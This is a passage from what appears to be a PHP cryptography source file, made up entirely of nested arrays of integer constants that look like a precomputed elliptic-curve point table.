                array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730),
                array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717),
                array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048),
                array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212),
                array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
                array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504),
                array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768),
                array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255),
            ),
            array(
                array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790),
                array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438),
                array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333),
            ),
            array(
                array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971),
                array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579),
            ),
